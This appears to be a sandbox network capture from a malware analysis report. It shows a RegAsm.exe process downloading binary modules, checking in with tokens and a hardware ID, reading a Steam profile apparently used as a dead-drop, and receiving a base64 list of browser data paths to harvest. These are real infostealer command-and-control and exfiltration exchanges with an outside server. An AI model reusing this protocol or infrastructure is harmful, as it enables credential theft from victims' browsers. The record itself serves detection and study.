2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 03:20:26 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49800	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:27 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:27 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"174d6093c654313fe7d98b79f7b410d2------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------CGHCGIIDGDAKFIEBKFCFCont
2024-10-02 03:20:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:27 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49802	23.67.133.187	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:30 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:30 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 03:20:30 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=efee873727e9e6fb7ef9098f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 03:20:30 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 03:20:30 UTC	10062	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 03:20:30 UTC	10303	IN	Data Raw: 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 56 49 44 45 4f 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 76 69 64 65 6f 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6f 6d 6d 75 6e 69 74 79 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 Data Ascii: mstatic.com\/","VIDEO_CDN_URL":"https:\/\/video.akamai.steamstatic.com\/","COMMUNITY_CDN_URL":"https:\/\/community.akamai.steamstatic.com\/","COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steams

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49803	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:31 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49804	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:32 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:32 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 31 42 38 34 44 35 44 45 44 36 33 33 30 35 32 39 38 33 36 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 2d 2d 0d Data Ascii: ------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="hwid"B41B84D5DED63305298366-a33c7340-61ca------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KJDGIJECFIEBFIDHCGHD--
2024-10-02 03:20:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:33 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c1736fcebd0824262ad17716de358bcb\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49805	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:34 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:34 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"c1736fcebd0824262ad17716de358bcb------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------CGIJKJJKEBGHJKFIDGCACont
2024-10-02 03:20:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:34 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49806	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:35 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
